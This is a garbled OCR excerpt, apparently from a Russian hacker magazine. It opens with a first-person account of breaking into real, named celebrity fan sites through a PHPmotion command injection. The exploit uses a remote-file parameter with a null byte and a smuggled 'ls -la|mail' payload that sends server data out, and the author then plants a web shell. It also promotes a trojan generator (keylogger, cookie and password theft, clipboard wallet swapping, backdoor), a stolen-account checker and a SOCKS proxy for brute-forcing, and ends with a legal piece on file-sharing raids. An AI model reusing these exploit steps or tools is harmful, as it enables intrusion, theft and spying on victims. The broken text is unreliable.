книги хакеры / журнал хакер / 137_Optimized

...

return $param_array;

}

...

@exec("$path_to_php $convertor $uploaded_file_name> / dev/null &");// (>/dev/null & part is what sends to background)

...

?>

Здесь скрипт получает параметры temp_dir и tmp_sid, в которых кроется имя файла с некоторыми параметрами для перекодировки видео. В этом случае ни один из таких параметров никоим образом не проверяется. А теперь, внимание — способ потрошения этого кода :). 1. Заливаем на левый сервер site.com файл с именем, например, test.txt, в нем пишем следующее:

upfile_=test.mp3;ls -la|mail òâîå_ìûëî@gmail. com~NWLN~id

2.Авторизуемся в PHPmotion;

3.Переходим по ссылке: www.videos.sam-worthington.net/ uploader_finished.php?temp_dir=http://site.com/test.txt%00;

4.Видим на своем мыле листинг файлов текущей директории нашего фан-сайта.

При выполнении последних пунктов в скрипте происходит следующее:

1.Переменная $paramFileName принимает значение "http://site. com/test.txt" (".params" после нулл-байта отбрасывается);

2.~NWLN~ в файле test.txt заменяется новой строкой;

3.Переменная $uploaded_file_name берется из test.txt;

4.Запрос в exec принимает следующий вид:

/usr/bin/php /home/site/public_html/phpmotion20/ convertor.php test.mp3;ls -la|mail òâîå_ìûëî@gmail. com

id> /dev/null &<

Как видишь, все гениальное просто :). Теперь оставалось лишь найти директории или файлы, которые были бы открыты на запись, но... таковых в текущей директории не оказалось. Так как довольствоваться лишь одной админкой видео-раздела фан-сайта Сэма я не хотел, нужно было любыми способами залить свой шелл хоть куда-нибудь в пределах данного сервера.

ВЕСЕЛЫЕ СОСЕДИ

Решив поискать соседей Сэма Уортингтона, я попытался добраться до

XÀÊÅÐ 06 /137/ 10

конфигурационного файла Апача httpd.conf (/usr/local/apache/conf),

но здесь снова ждала неудача — он был доступен для чтения только руту (я же имел жалкие права nobody). В данной ситуации мне смог помочь только один из «Reverse IP» сервисов www.yougetsignal. com/tools/web-sites-on-web-server/ и чтение файла /etc/passwd.

Как оказалось, на данном сервере хостится великое множество видео-подразделений известных фан-сайтов зарубежных звезд. Одной из первых открыла объятия для моего шелла Рэйчел МакАдамс (media.rachelmcadams.org). Я залил его в доступную директорию /home/rachelmd/public_html/uploads/avi и рулил множеством фан-сайтов одновременно довольно долгое время. Вот список наиболее известных ресурсов этого сервера:

media.aguileraworld.com — Кристина Агилера media.bielfan.com — Джессика Биель media.clive-owen.org — Клайв Оуэн media.jtimberlake.net — Джастин Тимберлейк media.kirsten-d.com — Кирстен Данст media.shialabeouf.us — Шайя ЛаБаф media.tomcruiseforever.com — Том Круз media.xfilesitalianfansite.net — Секретные Материалы tube.ultimate-avril.com — Аврил Лавин videos.a-brody.net — Адам Броуди videos.bradpittweb.com — Брэд Питт videos.johnkrasinski.net — Джон Красински videos.rene-russo.org — Рене Руссо videos.twilightfan.fan-sites.org — Сумерки www.madonnamedia.fan-sites.org — Мадонна www.media.annehathawayfan.com — Энн Хетеуэй www.media.christian-bale.org — Кристиан Бэйл www.media.johnnydepp-fan.com — Джонни Депп www.media.mattdamonfan.org — Мэтт Деймон www.media.monicabelluccifan.com — Моника Белуччи www.videos.jess-alba.org — Джессика Альба

Немного погуглив по теме, я узнал, что все основные западные фан-сайты располагаются на бесплатном хостинге от fan-sites. org, один из серверов которого я благополучно поимел :).

ХЭППИ ЭНД

Если ты поклонник творчества какой-либо известной личности, будь то актер или певец, я думаю, что не стоит открывать большое комьюнити, предварительно не позаботившись о его безопасности. Миллионы фанов по всему миру общаются и обмениваются информацией о своих любимцах на базе уязвимых платформ. Так что задумайся: настолько ли необходимо вгонять в краску наших общих кумиров из-за нерадивых поклонников? z

069

ПРОГРАММЫДЛЯХАКЕРОВ

ПРОГРАММА: GeneratorTroj

ОС: WINDOWS2000/2003/XP/VISTA/7 АВТОР: NOXJOKER

Настройкагенераторатроянов

ПредставляютвоемувниманиюнеплохуюальтернативузнаменитомуПинчуиегомодификациям— навороченныйгенератортрояновот noxjoker.

Еслипередтобойкогда-либовстанетзадача проследитьзаподругойилинедругом(исключительновобразовательныхцелях), тоэтапрога, несомненно, сделаетвсевозможное, чтобы снабдитьтебянеобходимымипаролями, скриншотамиифайлами.

Функционалиособенностиутилитыследующие:

•Отправка данных на e-mail è/èëè FTP;

•Извлечение cookies из Mozilla FireFox, Opera, IE, Google Chrome;

•Извлечение паролей из ICQ 6.0 и QIP Infium;

•Добыча нужных файлов с компьютера жертвы;

•Встроенный KeyLogger (слежение за нажатием клавиш) с возможностью выбора разделителя и периода отправки отчета;

•Возможность сделать скриншот — снимок всего происходящего в данный момент на экране жертвы (фишки: выбор периода создания скриншотов, количества создаваемых файлов, их имени и расширения, удаление создаваемого файла, сохранение локально);

•Возможность замены символов в буфере обмена (используется, например, для подмены кошельков);

•Завершение указанного процесса;

•Remote desktop control (многопоточный режим, создание учетной записи на компьютере жертвы, отправка IP-адреса);

•Backdoor — скрытое управление компьютером (ты являешься «сервером»,

070

мательнойутилитыChecker Antigate, которая, каквидноизназвания, чекаетаккаунтыantigate. com. Дляначалапроцессачекакладемвфайлик login_pass.txt списоквида“login;pass”. При успешномчекенавыходетыполучишьфайл good.txt, гдебудутсодержатьсявалидыввиде “логин;пароль;кей[баланс]”. Базыпользователейантигейтаможносграбить, например, ска-

Чекерантикапчи

кого-либофорума, затемсгенерироватьпароли. Заещеодноймодификациейутилиты, которая чекает(наэтотразтолькоспискиключей) —

добропожаловатьнаgrabberz.com/showpost. php?p=278269&postcount=5.

ПРОГРАММА: NOSOCKS

ОС: WINDOWS2000/2003/XP/VISTA/7 АВТОР: RANKOR

Тынавернякаужеподнялмножествопроксии сокс-серверовспомощьюутилит, представленныхнастраницахнашейрубрики. Пришловремяпредставитьтебеещеодинудобныйикрайне компактныйSOCKS4-серверотизвестноготебе кодераRankoR. Особенностисерверавключают всебяследующее:

Сокс-серверзаработой

•Сокс написан на чистом Си без использования каких-либо дополнительных библиотек;

•Подходит как для браузеров, так и для брутфорсеров ICQ;

•Привязывается к порту 1080;

•Ведет приблизительную статистику использования;

•Потребление памяти сведено к минимуму (2-5 Ìá);

•Имеет крохотный размер 3,91 Кб (после UPX, Debug-конфигурация).

Заподробностямиисоветамисновасоветую обращатьсянаАсечку: forum.asechka.ru/ showthread.php?t=118622.z

071

ЗАКОН

VSÑÅÒÜ

ФАЙЛООБМЕННЫЕ ХОЛИВАРЫ РУНЕТА

Впоследнеевремявсечащеможно услышатьгрустныешуткиотом, чтокакая-тозаразавсежерассказала

нашимчиновникамосуществовании интернета.Всамомделе,нашеправительствоисиловыеструктуры обратилисвоивзорынавсемирную паутинунедавно,но«принимать меры»началиоченьактивно.Сегодня поговоримопаренедавнихгромких прецедентовиотом,как«нашамилициянасбережет».Преимущественно отфайлоообмена.

IFOLER.RU СНОВА В СТРОЮ, «АГАВА» ВЫРАЖАЕТ СВОЮ БЛАГОДАРНОСТЬ ПРЕЗИДЕНТУ.

много лет уверенно держится в списках стран с самым высоким уровнем пиратства. С развитием интернета эти показатели, само собой, не улучшаются, даже напротив — «пиратствовать» становится все удобнее и проще. Конечно, такое положение вещей не могло долго оставаться незамеченным наверху, но вот беда

— когда его заметили, было уже поздновато душить все это в зародыше, так как «зародыш» давно преобразился в настоящего монстра. В результате сейчас средства борьбы с файлообменом в России зачастую выглядят чудесато — момент давно упущен, но чиновникам и силовикам все равно очень хочется сделать хоть что-нибудь.

Итак, перед тем как перейти непосредственно к рассказу о «закрытии» torrents.ru, немного истории.

До поры до времени ситуация вокруг крупнейшего российского торрент-трекера складывалась крайне благоприятно. Начавший свою работу в 2004 году, torrents.ru рос и развивался быстро, если не сказать, что в геометрической прогрессии. Другим трекерам, которые в те годы плодились как грибы после дождичка, такие потоки трафика и не снились, а если и снились, то исключительно в кошмарах.

Когдапопулярностьресурсадостиглаопределеннойотметки(тоесть трекергремелужеповсемурунету), наtorrents.ru вполнепредсказуемопринялиськоситьсяправообладатели. Особеннотогдавзволновалисьнаши, российские, копирасты, таккаким, вотличиеотзаокеанскихколлег, былокудапонятнее, чтоздесьпроисходитикудаэтоведет. Тобылоченьострыймомент, идосихнесовсемпонятно, каквышло, чтоtorrents.ru неприкрылиещетогда, незасудили, неположилиего намертвобесконечнымDDoS’омилинепредпринялииных«карательныхмер». Конечно, всехподробностейидеталейотносительно достиженияконсенсусамеждукомандойтрекераиправообладателямимынеузнаемникогда, новотитогширокойпубликехорошо известен. История, можносказать, разрешиласьмиром— torrents.ru позволилипродолжатьсуществовать.

Дело в том, что в 2007 году создатели torrents.ru заявили о недопустимости пиратства. Столь непопулярную в рунете точку зрения поддержала далеко не вся команда трекера, и ряд участников тогда проект покинули (выходцами с torrents.ru потом были основаны такие ресурсы как Free-Torents.org и Tapochek.net). Зато было достигнуто взаимопонимание с правообладателями. Отныне раздачи, нарушающие авторские права и закон, стали закрываться

иудаляться с трекера по первому требованию (справедливости ради отметим, что они и раньше удалялись, но не столь активно), а представителям крупных компаний и вовсе были розданы админс- ко-модераторские права, дабы они сами напрямую могли вычищать неугодное.

Одним словом, команда ресурса предпочла пойти с правообладателями на диалог и попытаться найти решения, которые устроили бы всех. Да, как ни удивительно, не все жаждут прорваться в политику

ивоевать за свободу информации в Сети, как это делают админы

The Pirate Bay.

Конечно, сетевая общественность не порадовалась такому повороту событий — публика клеймила крупнейший российский трекер позором, кричала о том, что torrents.ru продались, прогнулись, опопсели и тому подобное. Однако время шло, а никаких массовых репрессий, которые прочили трекеру особо разгневанные злопыхатели, не последовало. Вопреки прогнозам, torrents.ru не превратился в коммерческий ресурс с малочисленными, только 100% легальными раздачами. Кстати, по словам представителей трекера из-за нелегальности закрываются всего 2-3% раздач (в то время как от недостатка сидов погибает куда большее число), а единственный доход команды по сей день проистекает от рекламы, которую они крутят на форуме.

Можно ли сказать, что таким образом torrents.ru нашли приемлемый компромисс и некую точку баланса? Полагаем, что можно, осо-

TORRENTS.RU С ПОСЕРЕВШИМ, ГРУСТНЫМ ЛОГОТИПОМ И ОФИЦИАЛЬНЫМ ОБЪЯВЛЕНИЕМ О СЛУЧИВШЕМСЯ.

IFOLDER.RU

Второй прецедент, который мы рассмотрим сегодня, тоже произошел совсем недавно, и ты наверняка о нем слышал.

Полагаю, ты в курсе, что файлообменник ifolder.ru является одним из крупнейших файловых хостингов в России (если нет, то теперь уж точно в курсе). Наши юзеры предпочитают западным RapidShare и Depositfiles именно этот «склад», и лишнее тому доказательство — 1,5 млн. зарегистрированных пользователей. Принадлежит данный ресурс крупной и уже достаточно старой российской IT-компании Agava.

И все у ifolder.ru было хорошо, так же как и у «национального торрент-трекера» — в «Агаве» всегда шли навстречу правообла-

дателям и правоохранительным органам, то есть удаляли пиратский и/или нарушающий закон контент по первому же требованию и всячески содействовали «органам».

Да простят меня владельцы rutracker.org за такое сравнение, но, в отличие от их ресурса, у агавовской файло-помойки репутация куда чище. В этой связи произошедшее с ifolder.ru в марте этого года выглядит не просто странно, а очень странно.

Итак, на этот раз обойдемся без предысторий и сразу перейдем к сути.

Вечером 17-го марта текущего года ifolder. ru вдруг стал недоступен. Почти сразу в Сети появилась информация о том, что в дата-центр Golden Telecom по адресу 2-ая ул. Энтузиастов д. 5, явились следователи из 3-й ЧС ГСУ при ГУВД Москвы. Товарищи из «органов» предъявили протокол о необходимости проведения оперативно-ро- зыскных мероприятий с целью поиска улик, размещенных на сайте ifolder.ru и устроили в дата-центре то, что в народе называется «маски-шоу».

Работники «Агавы» хоть и смутно понимали, что происходит, до последнего держались молодцом и все равно предложили сотрудникам милиции всяческую поддержку и помощь в поиске нужной им информации на серверах, а также в установлении личности пользователя, загрузившего проходящие по неведомому делу файлы. Но не тут-то было. Вместо того чтобы пойти на диалог с агавовцами, милиция лишь отмахнулась от них и взялась искать нужный сервер самостоятельно. Сервер находиться почему-то не хотел. Тогда сотрудники МВД предприняли попытку вывезти из дата-центра

все оборудование «в целях проведения экспертизы». То есть вообще все оборудование — 74 сервера. Невзирая при этом на то, что помимо серверов ifolder.ru там располагались и другие ресурсы, никакого отношения к любимому народом файлообменнику не имеющие. Заметим, что обычно в таких ситуациях дело ограничивается изъятием одного харда из серверной стойки. Каким-то чудом сотрудникам «Агавы» все же удалось уговорить представителей органов правопорядка оставить серваки на месте. Впрочем, милиция без боя тоже не сдалась — серверы хоть и не увезли, зато все, что было можно, в дата-центре опечатали и отключили от сети, выдернув из розетки. Среди отключенного оборудования находились первичные DNS-серверы «Агавы», но работа хостера от этого, к счастью, не пострадала. Что же произошло на этот раз? Кое-что весьма похожее на ситуацию с «закрытием» torrents.ru. В последние годы у властей и копирастов со всего мира появились две универсальные, действенные и, можно сказать, любимые пугала в отношении интернета — это терроризм и детское порно. Именно последнее и оказалось повинно в недавних злоключениях ifolder.ru.